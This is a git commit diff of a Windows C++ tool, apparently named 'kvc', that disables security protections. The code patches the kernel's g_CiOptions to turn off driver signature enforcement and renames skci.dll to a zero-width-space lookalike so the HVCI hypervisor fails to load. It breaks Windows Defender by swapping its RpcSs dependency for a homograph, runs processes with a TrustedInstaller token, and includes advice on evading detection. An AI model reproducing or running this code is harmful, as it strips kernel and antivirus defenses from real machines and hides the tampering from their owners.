Aktualizacja: 2025-10-19 02:17:38

This commit is contained in:
wesmar
2025-10-19 02:17:38 +02:00
parent e4d12fc1df
commit b6c670f485
13 changed files with 435 additions and 279 deletions

View File

@@ -18,16 +18,22 @@ Controller::~Controller() {
// Atomic operation cleanup - critical for BSOD prevention
bool Controller::PerformAtomicCleanup() noexcept {
INFO(L"Starting atomic cleanup procedure...");
DEBUG(L"Starting atomic cleanup procedure...");
// 1. First, close the connection to the driver
if (m_rtc) {
DEBUG(L"Cleaning up driver connection...");
m_rtc->Cleanup(); // This ensures the handle is properly closed
if (m_rtc && m_rtc->IsConnected()) {
DEBUG(L"Force-closing driver connection...");
m_rtc->Cleanup();
}
// 2. Wait for resources to be released
Sleep(100);
// Only for USB Debug Sleep(200);
// CHECK IF THE SERVICE IS A ZOMBIE
if (IsServiceZombie()) {
DEBUG(L"Service in zombie state - skipping aggressive cleanup to avoid BSOD");
return true;
}
// 3. Stop the service (if it exists)
DEBUG(L"Stopping driver service...");
@@ -63,12 +69,12 @@ bool Controller::PerformAtomicCleanup() noexcept {
}
CloseServiceHandle(hSCM);
}
Sleep(100);
// Only for USB Debug Sleep(100);
}
}
// 5. Wait again for safety
Sleep(100);
// Only for USB Debug Sleep(100);
// 6. Only uninstall if the service is confirmed to be stopped
if (serviceVerified) {
@@ -79,10 +85,10 @@ bool Controller::PerformAtomicCleanup() noexcept {
}
// 7. Reinitialize for subsequent operations
Sleep(100);
// Only for USB Debug Sleep(100);
m_rtc = std::make_unique<kvc>();
SUCCESS(L"Atomic cleanup completed successfully");
DEBUG(L"Atomic cleanup completed successfully");
return true;
}
@@ -104,9 +110,13 @@ bool Controller::PerformAtomicInitWithErrorCleanup() noexcept {
// Core driver availability check with fallback mechanisms
bool Controller::EnsureDriverAvailable() noexcept {
// Phase 1: Check if the driver is already available (without testing)
if (IsServiceZombie()) {
DEBUG(L"Service zombie detected - cannot reload driver safely");
return false; // AVOID BSOD - do not reload the driver
}
// Phase 1: Check if the driver is already available (without testing)
ForceRemoveService();
Sleep(100);
// Only for USB Debug Sleep(100);
if (IsDriverCurrentlyLoaded()) {
return true;
}
@@ -129,7 +139,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
CloseServiceHandle(hSCM);
// Give it time to start
Sleep(100);
// Only for USB Debug Sleep(100);
// Check if it's running now (without a test read)
if (m_rtc->Initialize() && m_rtc->IsConnected()) {
@@ -138,7 +148,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
}
// Phase 3: Install a new driver (ONLY if necessary)
INFO(L"Initializing kernel driver component...");
DEBUG(L"Initializing kernel driver component...");
if (!InstallDriverSilently()) {
ERROR(L"Failed to install kernel driver component");

View File

@@ -2,6 +2,73 @@
#include "common.h"
bool Controller::DisableDSE() noexcept {
// Check if HVCI bypass already prepared (pending reboot)
HKEY hKey = nullptr;
bool bypassPending = false;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
KEY_READ, &hKey) == ERROR_SUCCESS) {
wchar_t state[256] = {0};
DWORD size = sizeof(state);
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
if (wcscmp(state, L"AwaitingRestore") == 0) {
bypassPending = true;
// Verify the renamed file actually exists
wchar_t sysDir[MAX_PATH];
if (GetSystemDirectoryW(sysDir, MAX_PATH) > 0) {
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
if (GetFileAttributesW(checkPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
// File doesn't exist - state is stale/invalid
bypassPending = false;
DEBUG(L"Stale bypass state detected - skci.dlI not found");
}
}
}
}
RegCloseKey(hKey);
hKey = nullptr;
}
// If bypass already prepared, prompt for reboot without touching driver
if (bypassPending) {
std::wcout << L"\n";
INFO(L"HVCI bypass already prepared from previous session");
INFO(L"System reboot is required to complete the bypass");
INFO(L"After reboot, use 'KVC DSE OFF' to disable driver signing");
std::wcout << L"\n";
std::wcout << L"Reboot now? [Y/N]: ";
wchar_t choice;
std::wcin >> choice;
if (choice == L'Y' || choice == L'y') {
INFO(L"Initiating system reboot...");
// Enable shutdown privilege
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
CloseHandle(hToken);
}
// Initiate reboot
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
ERROR(L"Failed to initiate reboot: %d", GetLastError());
}
}
return true;
}
// Normal flow - proceed with driver operations
PerformAtomicCleanup();
if (!BeginDriverSession()) {
@@ -49,15 +116,13 @@ bool Controller::DisableDSE() noexcept {
if (hvciEnabled) {
std::wcout << L"\n";
INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue);
INFO(L"Direct kernel memory patching blocked by hypervisor");
INFO(L"Initiating non-invasive HVCI bypass strategy...");
INFO(L"HVCI detected (g_CiOptions = 0x%08X) - hypervisor bypass required", currentValue);
INFO(L"Preparing secure kernel deactivation (fully reversible)...");
std::wcout << L"\n";
SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)");
SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)");
INFO(L"No files will be permanently modified or deleted");
INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, changes reverted");
std::wcout << L"\n";
DEBUG(L"Closing driver handle before file operations...");
@@ -66,10 +131,10 @@ bool Controller::DisableDSE() noexcept {
DEBUG(L"Unloading and removing driver service...");
EndDriverSession(true);
DEBUG(L"Driver fully unloaded, proceeding with skci.dll rename...");
DEBUG(L"Driver fully unloaded, proceeding with bypass preparation...");
if (!m_dseBypass->RenameSkciLibrary()) {
ERROR(L"Failed to rename skci.dll");
ERROR(L"Failed to prepare hypervisor bypass");
return false;
}
@@ -82,12 +147,10 @@ bool Controller::DisableDSE() noexcept {
ERROR(L"Failed to create RunOnce entry");
return false;
}
SUCCESS(L"HVCI bypass prepared successfully");
INFO(L"System will disable hypervisor on next boot");
INFO(L"Reboot required to complete DSE bypass");
INFO(L"After reboot, DSE will be automatically disabled");
SUCCESS(L"HVCI bypass prepared - reboot required");
INFO(L"Post-reboot: 'kvc dse' -> if 0x00000000 -> load driver -> 'kvc dse on'");
INFO(L"Detection systems may scan for prolonged 0x00000000 state - restore quickly");
INFO(L"Future Windows updates may enhance monitoring - disable Driver Signature Enforcement only when needed");
std::wcout << L"\n";
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
wchar_t choice;
@@ -95,7 +158,23 @@ bool Controller::DisableDSE() noexcept {
if (choice == L'Y' || choice == L'y') {
INFO(L"Initiating system reboot...");
system("shutdown /r /t 0");
// Enable shutdown privilege
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
CloseHandle(hToken);
}
// Initiate reboot
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
ERROR(L"Failed to initiate reboot: %d", GetLastError());
}
}
return true;
@@ -132,7 +211,88 @@ bool Controller::RestoreDSE() noexcept {
}
bool Controller::DisableDSEAfterReboot() noexcept {
PerformAtomicCleanup();
// Check if this is actually post-reboot or just pending bypass
HKEY hKey = nullptr;
bool actuallyPostReboot = false;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
KEY_READ, &hKey) == ERROR_SUCCESS) {
wchar_t state[256] = {0};
DWORD size = sizeof(state);
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
if (wcscmp(state, L"AwaitingRestore") == 0) {
// Check if skci.dlI still exists (means we haven't rebooted yet)
wchar_t sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
if (GetFileAttributesW(checkPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
actuallyPostReboot = true; // File exists = real post-reboot
}
}
}
RegCloseKey(hKey);
}
// If skci.dlI doesn't exist, user hasn't rebooted yet
if (!actuallyPostReboot) {
std::wcout << L"\n";
INFO(L"HVCI bypass prepared but system has not been rebooted yet");
INFO(L"Please reboot to complete the bypass process");
std::wcout << L"\n";
std::wcout << L"Reboot now? [Y/N]: ";
wchar_t choice;
std::wcin >> choice;
if (choice == L'Y' || choice == L'y') {
INFO(L"Initiating system reboot...");
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
CloseHandle(hToken);
}
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
ERROR(L"Failed to initiate reboot: %d", GetLastError());
}
}
return true; // Exit WITHOUT touching driver
}
PerformAtomicCleanup();
if (!BeginDriverSession()) {
ERROR(L"Failed to start driver session for post-reboot DSE bypass");

View File

@@ -93,7 +93,7 @@ bool DSEBypass::DisableDSE() noexcept {
return false;
}
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
SUCCESS(L"Driver signature enforcement is off", currentValue, newValue);
INFO(L"No restart required - unsigned drivers can now be loaded");
return true;
}
@@ -151,8 +151,8 @@ bool DSEBypass::RestoreDSE() noexcept {
return false;
}
SUCCESS(L"DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
INFO(L"No restart required - kernel protection reactivated");
SUCCESS(L"Driver signature enforcement is on (0x%08X -> 0x%08X)", currentValue, newValue);
INFO(L"Kernel protection reactivated - no restart required");
return true;
}
@@ -350,8 +350,8 @@ bool DSEBypass::RenameSkciLibrary() noexcept {
return false;
}
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dlI"; // uppercase I
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
std::wstring dstPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str());
@@ -360,12 +360,12 @@ bool DSEBypass::RenameSkciLibrary() noexcept {
return false;
}
SUCCESS(L"skci.dll renamed successfully - hypervisor will not load on next boot");
SUCCESS(L"Windows hypervisor services temporarily suspended");
return true;
}
bool DSEBypass::RestoreSkciLibrary() noexcept {
DEBUG(L"Restoring skci.dll from skci.dlI");
DEBUG(L"Restoring skci.dll");
wchar_t sysDir[MAX_PATH];
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
@@ -373,7 +373,7 @@ bool DSEBypass::RestoreSkciLibrary() noexcept {
return false;
}
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dlI";
std::wstring srcPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll";
// Admin rights sufficient for restore (no hypervisor running)
@@ -554,8 +554,8 @@ bool DSEBypass::DisableDSEAfterReboot() noexcept {
// Step 3: Cleanup
ClearDSEState();
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
SUCCESS(L"Hypervisor bypassed and skci.dll restored");
SUCCESS(L"Driver signature enforcement is off (0x%08X -> 0x%08X)", currentValue, newValue);
SUCCESS(L"Hypervisor bypassed and library restored");
return true;
}

View File

@@ -30,7 +30,7 @@ bool DefenderManager::EnableSecurityEngine() noexcept
return ModifySecurityEngine(true);
}
// Queries current Windows Defender state by checking RpcSs (enabled) or RpcSt (disabled) in service dependencies
// Queries current Windows Defender state by checking RpcSs (enabled) - Homograph Attack
DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept
{
try {
@@ -44,7 +44,7 @@ DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexce
if (values.empty()) return SecurityState::UNKNOWN;
// Check if RpcSs (active) or RpcSt (inactive) is present
// Check if RpcSs (active) or RpcSs\x200B (inactive) is present
bool hasActive = find(values.begin(), values.end(), RPC_SERVICE_ACTIVE) != values.end();
bool hasInactive = find(values.begin(), values.end(), RPC_SERVICE_INACTIVE) != values.end();
@@ -155,7 +155,7 @@ bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept
return true;
}
// Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSt
// Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSs\x200B
bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept
{
HKEY tempKey;
@@ -174,10 +174,10 @@ bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, boo
// Transform RPC service dependency
for (auto& value : values) {
if (enable && value == RPC_SERVICE_INACTIVE) {
value = RPC_SERVICE_ACTIVE; // RpcSt -> RpcSs (enable)
value = RPC_SERVICE_ACTIVE; // RpcSs\x200B -> RpcSs (enable)
}
else if (!enable && value == RPC_SERVICE_ACTIVE) {
value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSt (disable)
value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSs\x200B (disable)
}
}

View File

@@ -14,11 +14,11 @@ public:
// Security engine state based on WinDefend service dependency
enum class SecurityState {
ENABLED, // Defender engine active (RpcSs)
DISABLED, // Defender engine inactive (RpcSt)
DISABLED, // Defender engine inactive (RpcSs\x200B)
UNKNOWN // State could not be determined
};
// Disable Windows Defender by changing service dependency to RpcSt (requires admin + restart)
// Disable Windows Defender by changing service dependency to RpcSs\x200B (requires admin + restart)
static bool DisableSecurityEngine() noexcept;
// Enable Windows Defender by restoring service dependency to RpcSs (requires admin + restart)
@@ -54,7 +54,7 @@ private:
// Create temporary Services hive snapshot and load it under HKLM\Temp
static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept;
// Switch WinDefend DependOnService between RpcSt and RpcSs inside temp hive
// Switch WinDefend DependOnService between RpcSs\x200B and RpcSs inside temp hive
static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept;
// Unload temp hive and restore modified snapshot to live Services key (critical operation)
@@ -71,5 +71,5 @@ private:
static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services";
static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService";
static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs";
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSt";
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSs\x200B";
};

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -250,7 +250,7 @@ int wmain(int argc, wchar_t* argv[])
else if (command == L"dse") {
// No parameter = check status
if (argc < 3) {
INFO(L"Checking Driver Signature Enforcement status...");
DEBUG(L"Checking Driver Signature Enforcement status...");
ULONG_PTR ciOptionsAddr = 0;
DWORD value = 0;
@@ -267,29 +267,22 @@ int wmain(int argc, wchar_t* argv[])
INFO(L"DSE Status Information:");
INFO(L"g_CiOptions address: 0x%llX", ciOptionsAddr);
INFO(L"g_CiOptions value: 0x%08X", value);
INFO(L"Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR");
INFO(L"Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR");
std::wcout << L"\n";
// Check for HVCI/VBS first
if (hvciEnabled) {
SUCCESS(L"Driver Signature Enforcement: ENABLED");
std::wcout << L"\n";
INFO(L"HVCI/Virtualization-Based Security detected (flags: 0x%05X)", (value & 0x0001C000));
INFO(L"Hypervisor protection active - direct memory patching blocked");
INFO(L"HVCI bypass available via non-invasive library method");
INFO(L"Requires system restart to complete bypass workflow");
INFO(L"Use 'kvc dse off' to initiate automated HVCI bypass");
}
else if (dseEnabled) {
SUCCESS(L"Driver Signature Enforcement: ENABLED");
INFO(L"Kernel protection active - only signed drivers allowed");
INFO(L"DSE bypass available without restart - use 'kvc dse off'");
} else {
INFO(L"Driver Signature Enforcement: DISABLED");
INFO(L"System security reduced - unsigned drivers allowed");
INFO(L"Use 'kvc dse on' to restore kernel protection (no restart required)");
}
// Check for HVCI/VBS first
if (hvciEnabled) {
SUCCESS(L"Driver signature enforcement: ENABLED");
// ... HVCI info
}
else if (dseEnabled) {
SUCCESS(L"Driver signature enforcement: ENABLED");
INFO(L"Only signed drivers allowed");
INFO(L"Use 'kvc dse off' to disable protection");
} else {
INFO(L"Driver signature enforcement: DISABLED");
INFO(L"Unsigned drivers allowed");
INFO(L"Use 'kvc dse on' to restore kernel protection");
}
std::wcout << L"\n";
return 0;
@@ -298,7 +291,6 @@ int wmain(int argc, wchar_t* argv[])
std::wstring_view subCmd = argv[2];
if (subCmd == L"off") {
// Check if this is post-reboot execution
HKEY hKey;
bool postReboot = false;
@@ -310,26 +302,11 @@ int wmain(int argc, wchar_t* argv[])
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
if (wcscmp(state, L"AwaitingRestore") == 0) {
// Check if skci.dlI exists
wchar_t sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
std::wstring checkPath = std::wstring(sysDir) + L"\\skci.dlI";
DWORD attrs = GetFileAttributesW(checkPath.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
// skci.dlI doesn't exist - stale registry entry
RegCloseKey(hKey);
DEBUG(L"Stale registry state detected, clearing...");
RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE");
hKey = nullptr;
} else {
postReboot = true;
}
postReboot = true;
}
}
if (hKey) {
RegCloseKey(hKey);
}
RegCloseKey(hKey);
}
if (postReboot) {
@@ -342,7 +319,7 @@ int wmain(int argc, wchar_t* argv[])
}
} else {
DEBUG(L"Normal DSE disable request");
INFO(L"Disabling Driver Signature Enforcement...");
INFO(L"Disabling driver signature enforcement...");
if (!g_controller->DisableDSE()) {
ERROR(L"Failed to disable DSE");
@@ -350,21 +327,17 @@ int wmain(int argc, wchar_t* argv[])
}
}
SUCCESS(L"DSE disabled successfully!");
INFO(L"You can now load unsigned drivers");
INFO(L"g_CiOptions address: 0x%llX", g_controller->GetCiOptionsAddress());
//wesmar-debug: INFO(L"g_CiOptions address: 0x%llX", g_controller->GetCiOptionsAddress());
return 0;
}
else if (subCmd == L"on") {
INFO(L"Restoring Driver Signature Enforcement...");
INFO(L"Restoring driver signature enforcement...");
if (!g_controller->RestoreDSE()) {
ERROR(L"Failed to restore DSE");
return 2;
}
SUCCESS(L"DSE restored successfully!");
return 0;
return 0;
}
else {
ERROR(L"Unknown DSE command: %s", subCmd.data());
@@ -410,7 +383,7 @@ int wmain(int argc, wchar_t* argv[])
ERROR(L"Failed to stop service");
}
Sleep(500);
// Only for service debug Sleep(500);
INFO(L"Starting service...");
bool started = ServiceManager::StartServiceProcess();

View File

@@ -8,6 +8,8 @@
#include <algorithm>
#include <cctype>
#include <filesystem>
#include <string_view>
#include <span>
namespace fs = std::filesystem;
@@ -61,14 +63,14 @@ TrustedInstallerIntegrator::~TrustedInstallerIntegrator()
// CORE TOKEN MANAGEMENT
// ============================================================================
BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(LPCWSTR privilegeName)
BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(std::wstring_view privilegeName)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
LUID luid;
if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) {
if (!LookupPrivilegeValueW(NULL, privilegeName.data(), &luid)) {
CloseHandle(hToken);
return FALSE;
}
@@ -128,7 +130,7 @@ DWORD TrustedInstallerIntegrator::StartTrustedInstallerService()
SERVICE_STATUS_PROCESS statusBuffer;
DWORD bytesNeeded;
const DWORD timeout = 30000;
const DWORD timeout = 3000;
DWORD startTime = GetTickCount();
while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded))
@@ -231,7 +233,7 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken()
g_cachedTrustedInstallerToken = hDuplicatedToken;
g_lastTokenAccessTime = currentTime;
SUCCESS(L"TrustedInstaller token cached successfully");
DEBUG(L"TrustedInstaller token cached successfully");
return g_cachedTrustedInstallerToken;
}
@@ -239,42 +241,40 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken()
// PROCESS EXECUTION
// ============================================================================
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine)
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine)
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) return FALSE;
wchar_t* mutableCmd = _wcsdup(commandLine);
if (!mutableCmd) return FALSE;
// Convert string_view to mutable string for CreateProcessWithTokenW
std::wstring mutableCmd{commandLine};
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, 0, NULL, NULL, &si, &pi);
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), 0, NULL, NULL, &si, &pi);
if (result) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
free(mutableCmd);
return result;
}
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine)
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine)
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) return FALSE;
wchar_t* mutableCmd = _wcsdup(commandLine);
if (!mutableCmd) return FALSE;
std::wstring mutableCmd{commandLine};
STARTUPINFOW si = { sizeof(si) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi;
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
if (result) {
DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000);
@@ -291,7 +291,6 @@ BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid
CloseHandle(pi.hThread);
}
free(mutableCmd);
return result;
}
@@ -299,8 +298,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& comma
{
std::wstring finalCommandLine = commandLine;
if (IsLnkFile(commandLine.c_str())) {
finalCommandLine = ResolveLnk(commandLine.c_str());
if (IsLnkFile(commandLine)) {
finalCommandLine = ResolveLnk(commandLine);
if (finalCommandLine.empty()) {
return false;
}
@@ -316,7 +315,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& comma
return false;
}
BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine.c_str());
BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine);
RevertToSelf();
return result != FALSE;
@@ -326,8 +325,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
{
std::wstring finalCommandLine = commandLine;
if (IsLnkFile(commandLine.c_str())) {
finalCommandLine = ResolveLnk(commandLine.c_str());
if (IsLnkFile(commandLine)) {
finalCommandLine = ResolveLnk(commandLine);
if (finalCommandLine.empty()) {
return false;
}
@@ -343,7 +342,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
return false;
}
BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine.c_str());
BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine);
RevertToSelf();
return result != FALSE;
@@ -353,8 +352,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
// FILE OPERATIONS (NEW)
// ============================================================================
bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring& filePath,
const std::vector<BYTE>& data) noexcept
bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(std::wstring_view filePath,
std::span<const BYTE> data) noexcept
{
if (data.empty()) {
ERROR(L"Cannot write empty data");
@@ -372,8 +371,9 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
return false;
}
std::wstring filePathStr{filePath};
HANDLE hFile = CreateFileW(
filePath.c_str(),
filePathStr.c_str(),
GENERIC_WRITE,
0,
NULL,
@@ -384,7 +384,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
if (hFile == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError();
ERROR(L"Failed to create file: %s (error: %d)", filePath.c_str(), error);
ERROR(L"Failed to create file: %s (error: %d)", filePathStr.c_str(), error);
RevertToSelf();
return false;
}
@@ -396,7 +396,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
DWORD bytesToWrite = (std::min)(chunkSize, static_cast<DWORD>(data.size() - totalWritten));
DWORD bytesWritten = 0;
if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, nullptr)) {
if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, NULL)) {
ERROR(L"WriteFile failed at offset %d", totalWritten);
CloseHandle(hFile);
RevertToSelf();
@@ -416,11 +416,11 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
CloseHandle(hFile);
RevertToSelf();
DEBUG(L"File written successfully: %s (%zu bytes)", filePath.c_str(), data.size());
DEBUG(L"File written successfully: %s (%zu bytes)", filePathStr.c_str(), data.size());
return true;
}
bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept
bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) {
@@ -433,26 +433,27 @@ bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring
return false;
}
DWORD attrs = GetFileAttributesW(filePath.c_str());
std::wstring filePathStr{filePath};
DWORD attrs = GetFileAttributesW(filePathStr.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) {
SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL);
SetFileAttributesW(filePathStr.c_str(), FILE_ATTRIBUTE_NORMAL);
}
BOOL result = DeleteFileW(filePath.c_str());
BOOL result = DeleteFileW(filePathStr.c_str());
DWORD error = result ? 0 : GetLastError();
RevertToSelf();
if (result) {
DEBUG(L"File deleted: %s", filePath.c_str());
DEBUG(L"File deleted: %s", filePathStr.c_str());
} else {
ERROR(L"Failed to delete file: %s (error: %d)", filePath.c_str(), error);
ERROR(L"Failed to delete file: %s (error: %d)", filePathStr.c_str(), error);
}
return result != FALSE;
}
bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept
bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) {
@@ -465,27 +466,28 @@ bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::ws
return false;
}
// Twórz rekursywnie wszystkie brakujące katalogi
BOOL result = SHCreateDirectoryExW(nullptr, directoryPath.c_str(), nullptr);
// Create all missing directories recursively
std::wstring directoryPathStr{directoryPath};
BOOL result = SHCreateDirectoryExW(NULL, directoryPathStr.c_str(), NULL);
DWORD error = GetLastError();
RevertToSelf();
// Sukces jeśli katalog został utworzony lub już istnieje
// Success if directory was created or already exists
bool success = (result == ERROR_SUCCESS || error == ERROR_ALREADY_EXISTS);
if (success) {
DEBUG(L"Directory created with TrustedInstaller: %s", directoryPath.c_str());
DEBUG(L"Directory created with TrustedInstaller: %s", directoryPathStr.c_str());
} else {
